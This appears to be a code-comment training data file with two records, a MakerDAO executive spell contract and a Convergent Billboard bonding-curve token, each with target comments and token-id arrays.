WARNING The following library code acts as an interface to the actual DssExecLib library, which can be found in its own deployed contract. Only trust the actual library's implementation. */ address constant public LOG = 0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F; uint256 constant internal WAD = 10 ** 18; uint256 constant internal RAY = 10 ** 27; uint256 constant internal RAD = 10 ** 45; uint256 constant internal THOUSAND = 10 ** 3; uint256 constant internal MILLION = 10 ** 6; uint256 constant internal BPS_ONE_PCT = 100; uint256 constant internal BPS_ONE_HUNDRED_PCT = 100 * BPS_ONE_PCT; uint256 constant internal RATES_ONE_HUNDRED_PCT = 1000000021979553151239153027; function add(uint256 x, uint256 y) internal pure returns (uint256 z) {} function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {} function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {} function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {} function dai() public view returns (address) { return getChangelogAddress("MCD_DAI"); } function vat() public view returns (address) { return getChangelogAddress("MCD_VAT"); } function cat() public view returns (address) { return getChangelogAddress("MCD_CAT"); } function dog() public view returns (address) { return getChangelogAddress("MCD_DOG"); } function jug() public view returns (address) { return getChangelogAddress("MCD_JUG"); } function pot() public view returns (address) { return getChangelogAddress("MCD_POT"); } function vow() public view returns (address) { return getChangelogAddress("MCD_VOW"); } function end() public view returns (address) { return getChangelogAddress("MCD_END"); } function esm() public view returns (address) { return getChangelogAddress("MCD_ESM"); } function reg() public view returns (address) { return getChangelogAddress("ILK_REGISTRY"); } function spotter() public view returns (address) { return getChangelogAddress("MCD_SPOT"); } function osmMom() public view returns (address) { return getChangelogAddress("OSM_MOM"); } function clipperMom() public view returns (address) { return getChangelogAddress("CLIPPER_MOM"); } function autoLine() public view returns (address) { return getChangelogAddress("MCD_IAM_AUTO_LINE"); } function daiJoin() public view returns (address) { return getChangelogAddress("MCD_JOIN_DAI"); } function lerpFab() public view returns (address) { return getChangelogAddress("LERP_FAB"); } function clip(bytes32 _ilk) public view returns (address _clip) {} function flip(bytes32 _ilk) public view returns (address _flip) {} function calc(bytes32 _ilk) public view returns (address _calc) {} function getChangelogAddress(bytes32 _key) public view returns (address) {} function setChangelogAddress(bytes32 _key, address _val) public {} function setChangelogVersion(string memory _version) public {} function authorize(address _base, address _ward) public {} function canCast(uint40 _ts, bool _officeHours) public pure returns (bool) {} function nextCastTime(uint40 _eta, uint40 _ts, bool _officeHours) public pure returns (uint256 castTime) {} function updateCollateralPrice(bytes32 _ilk) public {} function setContract(address _base, bytes32 _what, address _addr) public {} function setContract(address _base, bytes32 _ilk, bytes32 _what, address _addr) public {} function setValue(address _base, bytes32 _what, uint256 _amt) public {} function setValue(address _base, bytes32 _ilk, bytes32 _what, uint256 _amt) public {} function increaseGlobalDebtCeiling(uint256 _amount) public {} function setIlkDebtCeiling(bytes32 _ilk, uint256 _amount) public {} function setIlkAutoLineParameters(bytes32 _ilk, uint256 _amount, uint256 _gap, uint256 _ttl) public {} function setIlkMinVaultAmount(bytes32 _ilk, uint256 _amount) public {} function setIlkLiquidationPenalty(bytes32 _ilk, uint256 _pct_bps) public {} function setIlkMaxLiquidationAmount(bytes32 _ilk, uint256 _amount) public {} function setIlkLiquidationRatio(bytes32 _ilk, uint256 _pct_bps) public {} function setStartingPriceMultiplicativeFactor(bytes32 _ilk, uint256 _pct_bps) public {} function setAuctionTimeBeforeReset(bytes32 _ilk, uint256 _duration) public {} function setAuctionPermittedDrop(bytes32 _ilk, uint256 _pct_bps) public {} function setKeeperIncentivePercent(bytes32 _ilk, uint256 _pct_bps) public {} function setKeeperIncentiveFlatRate(bytes32 _ilk, uint256 _amount) public {} function setLiquidationBreakerPriceTolerance(address _clip, uint256 _pct_bps) public {} function setIlkStabilityFee(bytes32 _ilk, uint256 _rate, bool _doDrip) public {} function setStairstepExponentialDecrease(address _calc, uint256 _duration, uint256 _pct_bps) public {} function whitelistOracleMedians(address _oracle) public {} function addReaderToWhitelist(address _oracle, address _reader) public {} function addReaderToWhitelistCall(address _oracle, address _reader) public {} function allowOSMFreeze(address _osm, bytes32 _ilk) public {} function addCollateralBase( bytes32 _ilk, address _gem, address _join, address _clip, address _calc, address _pip ) public {} function addNewCollateral(CollateralOpts memory co) public {} function sendPaymentFromSurplusBuffer(address _target, uint256 _amount) public {} function linearInterpolation(bytes32 _name, address _target, bytes32 _ilk, bytes32 _what, uint256 _startTime, uint256 _start, uint256 _end, uint256 _duration) public returns (address) {} } ////// lib/dss-exec-lib/src/DssAction.sol // // DssAction.sol -- DSS Executive Spell Actions // // Copyright (C) 2020 Maker Ecosystem Growth Holdings, Inc. // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /* pragma solidity ^0.6.12; */ /* import { DssExecLib } from "./DssExecLib.sol"; */ /* import { CollateralOpts } from "./CollateralOpts.sol"; */ interface OracleLike_1 { function src() external view returns (address); } abstract contract DssAction { using DssExecLib for *; // Modifier used to limit execution time when office hours is enabled modifier limited { require(DssExecLib.canCast(uint40(block.timestamp), officeHours()), "Outside office hours"); _; } // Office Hours defaults to true by default. // To disable office hours, override this function and // return false in the inherited action. function officeHours() public virtual returns (bool) { return true; } // DssExec calls execute. We limit this function subject to officeHours modifier. function execute() external limited { actions(); } // DssAction developer must override `actions()` and place all actions to be called inside. // The DssExec function will call this subject to the officeHours limiter // By keeping this function public we allow simulations of `execute()` on the actions outside of the cast time. function actions() public virtual; // Provides a descriptive tag for bot consumption // This should be modified weekly to provide a summary of the actions // Hash: seth keccak -- "$(wget https://<executive-vote-canonical-post> -q -O - 2>/dev/null)" function description() external virtual view returns (string memory); // Returns the next available cast time function nextCastTime(uint256 eta) external returns (uint256 castTime) { require(eta <= uint40(-1)); castTime = DssExecLib.nextCastTime(uint40(eta), uint40(block.timestamp), officeHours()); } } ////// lib/dss-exec-lib/src/DssExec.sol // // DssExec.sol -- MakerDAO Executive Spell Template // // Copyright (C) 2020 Maker Ecosystem Growth Holdings, Inc. // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /* pragma solidity ^0.6.12; */ interface PauseAbstract { function delay() external view returns (uint256); function plot(address, bytes32, bytes calldata, uint256) external; function exec(address, bytes32, bytes calldata, uint256) external returns (bytes memory); } interface Changelog { function getAddress(bytes32) external view returns (address); } interface SpellAction { function officeHours() external view returns (bool); function description() external view returns (string memory); function nextCastTime(uint256) external view returns (uint256); } contract DssExec { Changelog constant public log = Changelog(0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F); uint256 public eta; bytes public sig; bool public done; bytes32 immutable public tag; address immutable public action; uint256 immutable public expiration; PauseAbstract immutable public pause; // Provides a descriptive tag for bot consumption // This should be modified weekly to provide a summary of the actions // Hash: seth keccak -- "$(wget https://<executive-vote-canonical-post> -q -O - 2>/dev/null)" function description() external view returns (string memory) { return SpellAction(action).description(); } function officeHours() external view returns (bool) { return SpellAction(action).officeHours(); } function nextCastTime() external view returns (uint256 castTime) { return SpellAction(action).nextCastTime(eta); } // @param _description A string description of the spell // @param _expiration The timestamp this spell will expire. (Ex. now + 30 days) // @param _spellAction The address of the spell action constructor(uint256 _expiration, address _spellAction) public { pause = PauseAbstract(log.getAddress("MCD_PAUSE")); expiration = _expiration; action = _spellAction; sig = abi.encodeWithSignature("execute()"); bytes32 _tag; // Required for assembly access address _action = _spellAction; // Required for assembly access assembly { _tag := extcodehash(_action) } tag = _tag; } function schedule() public { require(now <= expiration, "This contract has expired"); require(eta == 0, "This spell has already been scheduled"); eta = now + PauseAbstract(pause).delay(); pause.plot(action, tag, sig, eta); } function cast() public { require(!done, "spell-already-cast"); done = true; pause.exec(action, tag, sig, eta); } } ////// src/DssSpell.sol // // Copyright (C) 2021 Dai Foundation // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /* pragma solidity 0.6.12; */ /* pragma experimental ABIEncoderV2; */ /* import "dss-exec-lib/DssExec.sol"; */ /* import "dss-exec-lib/DssAction.sol"; */ interface MomLike_2 { function setAuthority(address authority_) external; } interface DssVestLike { function create(address, uint256, uint256, uint256, uint256, address) external returns (uint256); function restrict(uint256) external; } contract DssSpellAction is DssAction { uint256 constant MILLION = 10**6; uint256 constant RAY = 10**27; // Provides a descriptive tag for bot consumption // This should be modified weekly to provide a summary of the actions // Hash: seth keccak -- "$(wget https://raw.githubusercontent.com/makerdao/community/4f799577686e4a1ca4f6f922943c1ca7c9c9e57d/governance/votes/Executive%20vote%20-%20October%2029%2C%202021.md -q -O - 2>/dev/null)" string public constant override description = "2021-10-29 MakerDAO Executive Spell | Hash: 0x0e564f437297cae84ae7b0e71457d352cff5cd636107f05653b91dd81e1fe908"; // Many of the settings that change weekly rely on the rate accumulator // described at https://docs.makerdao.com/smart-contract-modules/rates-module // To check this yourself, use the following rate calculation (example 8%): // // $ bc -l <<< 'scale=27; e( l(1.08)/(60 * 60 * 24 * 365) )' // // A table of rates can be found at // https://ipfs.io/ipfs/QmefQMseb3AiTapiAKKexdKHig8wroKuZbmLtPLv4u2YwW // uint256 constant ZERO_PCT_RATE = 1000000000000000000000000000; address constant ADAI = 0x028171bCA77440897B824Ca71D1c56caC55b68A3; address constant PIP_ADAI = 0x6A858592fC4cBdf432Fc9A1Bc8A0422B99330bdF; address constant MCD_JOIN_DIRECT_AAVEV2_DAI = 0xa13C0c8eB109F5A13c6c90FC26AFb23bEB3Fb04a; address constant MCD_CLIP_DIRECT_AAVEV2_DAI = 0xa93b98e57dDe14A3E301f20933d59DC19BF8212E; address constant MCD_CLIP_CALC_DIRECT_AAVEV2_DAI = 0x786DC9b69abeA503fd101a2A9fa95bcE82C20d0A; address constant DIRECT_MOM = 0x99A219f3dD2DeEC02c6324df5009aaa60bA36d38; address constant JOIN_FAB = 0xf1738d22140783707Ca71CB3746e0dc7Bf2b0264; address constant LERP_FAB = 0x9175561733D138326FDeA86CdFdF53e92b588276; address constant DIN_WALLET = 0x7327Aed0Ddf75391098e8753512D8aEc8D740a1F; address constant GRO_WALLET = 0x7800C137A645c07132886539217ce192b9F0528e; uint256 constant NOV_01_2021 = 1635724800; uint256 constant MAY_01_2022 = 1651363200; uint256 constant JUL_01_2022 = 1656633600; function actions() public override { // https://vote.makerdao.com/polling/QmexUjoD?network=mainnet#poll-detail // Add Aave V2 D3M DssExecLib.setStairstepExponentialDecrease(MCD_CLIP_CALC_DIRECT_AAVEV2_DAI, 120 seconds, 9990); DssExecLib.setValue(MCD_JOIN_DIRECT_AAVEV2_DAI, "bar", 4 * RAY / 100); // 4% DssExecLib.setValue(MCD_JOIN_DIRECT_AAVEV2_DAI, "tau", 7 days); DssExecLib.setContract(MCD_JOIN_DIRECT_AAVEV2_DAI, "king", address(this)); // Set the D3M Mom authority to be the chief MomLike_2(DIRECT_MOM).setAuthority(DssExecLib.getChangelogAddress("MCD_ADM")); // Authorize ESM to shut down during governance attack DssExecLib.authorize(MCD_JOIN_DIRECT_AAVEV2_DAI, DssExecLib.esm()); // Authorize D3M Mom to allow no wait delay DssExecLib.authorize(MCD_JOIN_DIRECT_AAVEV2_DAI, DIRECT_MOM); CollateralOpts memory DIRECT_AAVEV2_DAI = CollateralOpts({ ilk: "DIRECT-AAVEV2-DAI", gem: ADAI, join: MCD_JOIN_DIRECT_AAVEV2_DAI, clip: MCD_CLIP_DIRECT_AAVEV2_DAI, calc: MCD_CLIP_CALC_DIRECT_AAVEV2_DAI, pip: PIP_ADAI, isLiquidatable: false, isOSM: false, whitelistOSM: false, ilkDebtCeiling: 10 * MILLION, minVaultAmount: 0, maxLiquidationAmount: 0, liquidationPenalty: 1300, ilkStabilityFee: ZERO_PCT_RATE, startingPriceFactor: 10500, breakerTolerance: 9500, // Allows for a 5% hourly price drop before disabling liquidations auctionDuration: 220 minutes, permittedDrop: 9000, liquidationRatio: 10000, kprFlatReward: 300, kprPctReward: 10 // 0.1% }); DssExecLib.addNewCollateral(DIRECT_AAVEV2_DAI); DssExecLib.setIlkAutoLineParameters("DIRECT-AAVEV2-DAI", 10 * MILLION, 10 * MILLION, 12 hours); DssExecLib.setChangelogAddress("ADAI", ADAI); DssExecLib.setChangelogAddress("MCD_JOIN_DIRECT_AAVEV2_DAI", MCD_JOIN_DIRECT_AAVEV2_DAI); DssExecLib.setChangelogAddress("MCD_CLIP_DIRECT_AAVEV2_DAI", MCD_CLIP_DIRECT_AAVEV2_DAI); DssExecLib.setChangelogAddress("MCD_CLIP_CALC_DIRECT_AAVEV2_DAI", MCD_CLIP_CALC_DIRECT_AAVEV2_DAI); DssExecLib.setChangelogAddress("PIP_ADAI", PIP_ADAI); DssExecLib.setChangelogAddress("DIRECT_MOM", DIRECT_MOM); // https://mips.makerdao.com/mips/details/MIP40c3SP34 // Data Insights Core Unit Budget address MCD_VEST_DAI = DssExecLib.getChangelogAddress("MCD_VEST_DAI"); DssExecLib.sendPaymentFromSurplusBuffer(DIN_WALLET, 107_500); DssVestLike(MCD_VEST_DAI).restrict( DssVestLike(MCD_VEST_DAI).create(DIN_WALLET, 357_000.00 * 10**18, NOV_01_2021, MAY_01_2022 - NOV_01_2021, 0, address(0)) ); // https://mips.makerdao.com/mips/details/MIP40c3SP37 // Growth Core Unit Budget DssExecLib.sendPaymentFromSurplusBuffer(GRO_WALLET, 791_138); DssVestLike(MCD_VEST_DAI).restrict( DssVestLike(MCD_VEST_DAI).create(GRO_WALLET, 942_663.00 * 10**18, NOV_01_2021, JUL_01_2022 - NOV_01_2021, 0, address(0)) ); // Add Join factory to ChainLog DssExecLib.setChangelogAddress("JOIN_FAB", JOIN_FAB); // Update Lerp factory in ChainLog DssExecLib.setChangelogAddress("LERP_FAB", LERP_FAB); // Bump changelog version DssExecLib.setChangelogVersion("1.9.9"); } } contract DssSpell is DssExec { constructor() DssExec(block.timestamp + 30 days, address(new DssSpellAction())) public {} }
ERROR: type should be string, got " https:mips.makerdao.com/mips/details/MIP40c3SP37 Growth Core Unit Budget"
DssExecLib.sendPaymentFromSurplusBuffer(GRO_WALLET, 791_138);
1,466,822
[ 1, 4528, 30, 81, 7146, 18, 29261, 2414, 83, 18, 832, 19, 81, 7146, 19, 6395, 19, 49, 2579, 7132, 71, 23, 3118, 6418, 611, 492, 451, 4586, 8380, 25099, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 463, 1049, 1905, 5664, 18, 4661, 6032, 1265, 7719, 10103, 1892, 12, 43, 1457, 67, 59, 1013, 15146, 16, 2371, 12416, 67, 26645, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; // produced by the Solididy File Flattener (c) David Appleton 2018 // contact : [email protected] // released under Apache 2.0 licence // input /home/volt/workspaces/convergentcx/billboard/contracts/Convergent_Billboard.sol // flattened : Wednesday, 21-Nov-18 00:21:30 UTC interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string name, string symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns(string) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns(string) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns(uint8) { return _decimals; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _allowed[from][msg.sender]); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance( address spender, uint256 addedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(value <= _balances[from]); require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param amount The amount that will be created. */ function _mint(address account, uint256 amount) internal { require(account != 0); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param amount The amount that will be burnt. */ function _burn(address account, uint256 amount) internal { require(account != 0); require(amount <= _balances[account]); _totalSupply = _totalSupply.sub(amount); _balances[account] = _balances[account].sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * @param account The account whose tokens will be burnt. * @param amount The amount that will be burnt. */ function _burnFrom(address account, uint256 amount) internal { require(amount <= _allowed[account][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. _allowed[account][msg.sender] = _allowed[account][msg.sender].sub( amount); _burn(account, amount); } } contract EthBondingCurvedToken is ERC20Detailed, ERC20 { using SafeMath for uint256; uint256 public poolBalance; event Minted(uint256 amount, uint256 totalCost); event Burned(uint256 amount, uint256 reward); constructor( string name, string symbol, uint8 decimals ) ERC20Detailed(name, symbol, decimals) public {} function priceToMint(uint256 numTokens) public view returns (uint256); function rewardForBurn(uint256 numTokens) public view returns (uint256); function mint(uint256 numTokens) public payable { require(numTokens > 0, "Must purchase an amount greater than zero."); uint256 priceForTokens = priceToMint(numTokens); require(msg.value >= priceForTokens, "Must send requisite amount to purchase."); _mint(msg.sender, numTokens); poolBalance = poolBalance.add(priceForTokens); if (msg.value > priceForTokens) { msg.sender.transfer(msg.value.sub(priceForTokens)); } emit Minted(numTokens, priceForTokens); } function burn(uint256 numTokens) public { require(numTokens > 0, "Must burn an amount greater than zero."); require(balanceOf(msg.sender) >= numTokens, "Must have enough tokens to burn."); uint256 ethToReturn = rewardForBurn(numTokens); _burn(msg.sender, numTokens); poolBalance = poolBalance.sub(ethToReturn); msg.sender.transfer(ethToReturn); emit Burned(numTokens, ethToReturn); } } contract EthPolynomialCurvedToken is EthBondingCurvedToken { uint256 public exponent; uint256 public inverseSlope; /// @dev constructor Initializes the bonding curve /// @param name The name of the token /// @param decimals The number of decimals to use /// @param symbol The symbol of the token /// @param _exponent The exponent of the curve constructor( string name, string symbol, uint8 decimals, uint256 _exponent, uint256 _inverseSlope ) EthBondingCurvedToken(name, symbol, decimals) public { exponent = _exponent; inverseSlope = _inverseSlope; } /// @dev Calculate the integral from 0 to t /// @param t The number to integrate to function curveIntegral(uint256 t) internal returns (uint256) { uint256 nexp = exponent.add(1); uint256 norm = 10 ** (uint256(decimals()) * uint256(nexp)) - 18; // Calculate integral of t^exponent return (t ** nexp).div(nexp).div(inverseSlope).div(10 ** 18); } function priceToMint(uint256 numTokens) public view returns(uint256) { return curveIntegral(totalSupply().add(numTokens)).sub(poolBalance); } function rewardForBurn(uint256 numTokens) public view returns(uint256) { return poolBalance.sub(curveIntegral(totalSupply().sub(numTokens))); } } contract Convergent_Billboard is EthPolynomialCurvedToken { using SafeMath for uint256; uint256 public cashed; // Amount of tokens that have been "cashed out." uint256 public maxTokens; // Total amount of Billboard tokens to be sold. uint256 public requiredAmt; // Required amount of token per banner change. address public safe; // Target to send the funds. event Advertisement(bytes32 what, uint256 indexed when); constructor(uint256 _maxTokens, uint256 _requiredAmt, address _safe) EthPolynomialCurvedToken( "Convergent Billboard Token", "CBT", 18, 1, 1000 ) public { maxTokens = _maxTokens * 10**18; requiredAmt = _requiredAmt * 10**18; safe = _safe; } /// Overwrite function mint(uint256 numTokens) public payable { uint256 newTotal = totalSupply().add(numTokens); if (newTotal > maxTokens) { super.mint(maxTokens.sub(totalSupply())); // The super.mint() function will not allow 0 // as an argument rendering this as sufficient // to enforce a cap of maxTokens. } else { super.mint(numTokens); } } function purchaseAdvertisement(bytes32 _what) public payable { mint(requiredAmt); submit(_what); } function submit(bytes32 _what) public { require(balanceOf(msg.sender) >= requiredAmt); cashed++; // increment cashed counter _transfer(msg.sender, address(0x1337), requiredAmt); uint256 dec = 10**uint256(decimals()); uint256 newCliff = curveIntegral( (cashed).mul(dec) ); uint256 oldCliff = curveIntegral( (cashed - 1).mul(dec) ); uint256 cliffDiff = newCliff.sub(oldCliff); safe.transfer(cliffDiff); emit Advertisement(_what, block.timestamp); } function () public { revert(); } }
Target to send the funds.
address public safe;
14,015,482
[ 1, 2326, 358, 1366, 326, 284, 19156, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
